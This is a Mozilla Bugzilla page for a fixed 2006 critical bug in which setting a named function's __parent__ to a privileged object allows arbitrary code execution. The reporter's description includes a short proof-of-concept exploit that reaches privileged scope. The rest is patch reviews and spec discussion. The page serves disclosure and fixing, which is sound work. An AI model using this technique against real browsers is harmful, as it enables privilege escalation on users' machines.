As a security precaution, we have turned on the setting "Require API key authentication for API requests" for everyone. If this has broken something, please contact bugzilla-admin@mozilla.org
Last Comment Bug 340727 - Arbitrary code execution by setting fun.__parent__ to a privileged object
: Arbitrary code execution by setting fun.__parent__ to a privileged object
Status: RESOLVED FIXED
[sg:critical]
: fixed1.8.1, verified1.8.0.5
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: All All
: P2 normal (vote)
: mozilla1.9alpha1
Assigned To: Blake Kaplan (:mrbkap)
:
: David Keeler [:keeler] (use needinfo?)
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-06-07 14:54 PDT by moz_bug_r_a4
Modified: 2008-10-17 16:04 PDT (History)
9 users (show)
dveditz: blocking1.7.14?
jaymoz: blocking1.8.0.5+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
testcase (398 bytes, text/html)
2006-06-07 14:56 PDT, moz_bug_r_a4
no flags Details
Fix (1.29 KB, patch)
2006-06-07 15:53 PDT, Blake Kaplan (:mrbkap)
igor: review+
shaver: superreview+
jaymoz: approval1.8.0.5+
Details | Diff | Splinter Review
for 1.0.x (849 bytes, patch)
2006-08-08 08:24 PDT, Alexander Sack
no flags Details | Diff | Splinter Review

Description User image moz_bug_r_a4 2006-06-07 14:54:12 PDT
A named function created by function expression has a extra parent object that
has a property whose name is the function name.

  a = function b() {};
  a.__parent__.toSource();

  -> ({b:(function b() {})})

There is a way to set the parent object in question to a privileged object.
(I got the hint from Bug 338709.)

  Object = function() { return privileged_object; };
  a = function b() {};

Exploit:
  <marquee id="m">
  x = m.init.eval.prototype;
  x.w = window;
  Object = function() { return x; };
  var a = function b() { with (w) alert(Components.stack); };
  a.call({}); // to avoid the access check in js_ComputeThis.
Comment 1 User image moz_bug_r_a4 2006-06-07 14:56:50 PDT
Created attachment 224765 [details]
testcase
Comment 2 User image Blake Kaplan (:mrbkap) 2006-06-07 15:53:53 PDT
Created attachment 224775 [details] [diff] [review]
Fix

If anybody's relying on this behavior already, then, IMO, they'll get what they deserve.
Comment 3 User image Mike Shaver (:shaver -- probably not reading bugmail closely) 2006-06-07 15:56:23 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

sr=shaver
Comment 4 User image Igor Bukanov 2006-06-08 02:04:51 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

This is an area where as I remember Rhino deviates from SpiderMonkey quite significantly. For named function expressions Rhino parser simply adds a variable initialized to the function itself avoiding an extra objects. It violates Ecma v3 since potentially user-visible  new Object is not called. But this is really the case of broken specs.
Comment 5 User image Blake Kaplan (:mrbkap) 2006-06-09 11:41:28 PDT
Fix checked into trunk.
Comment 6 User image Brendan Eich [:brendan] 2006-06-13 22:27:38 PDT
(In reply to comment #4)
> (From update of attachment 224775 [details] [diff] [review] [edit])
> This is an area where as I remember Rhino deviates from SpiderMonkey quite
> significantly. For named function expressions Rhino parser simply adds a
> variable initialized to the function itself avoiding an extra objects. It
> violates Ecma v3 since potentially user-visible  new Object is not called. But
> this is really the case of broken specs.

Yes, here and in catch clause case, ECMA-262 goes off the rails.  It often (but not consistently) uses an internal constructor function that magically uses the "original Object.prototype value" as the prototype of the new object, and does not invoke the constructor function by its name.

For ES4, both cases should use lexical scope.

/be
Comment 7 User image Jay Patel [:jay] 2006-06-14 14:24:33 PDT
Comment on attachment 224775 [details] [diff] [review]
Fix

a=jay for checkin on the 1.8.0 branch.
Comment 8 User image Blake Kaplan (:mrbkap) 2006-06-15 18:19:24 PDT
Fix checked into the 1.8 branches.
Comment 9 User image Jay Patel [:jay] 2006-06-19 15:40:43 PDT
v.fixed on 1.8.0 branch with Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.5) Gecko/20060619 Firefox/1.5.0.5
Comment 10 User image Alexander Sack 2006-08-08 08:24:16 PDT
Created attachment 232733 [details] [diff] [review]
for 1.0.x

can't remember if the original applied cleanly. This one does for sure.

Note You need to log in before you can comment on or make changes to this bug.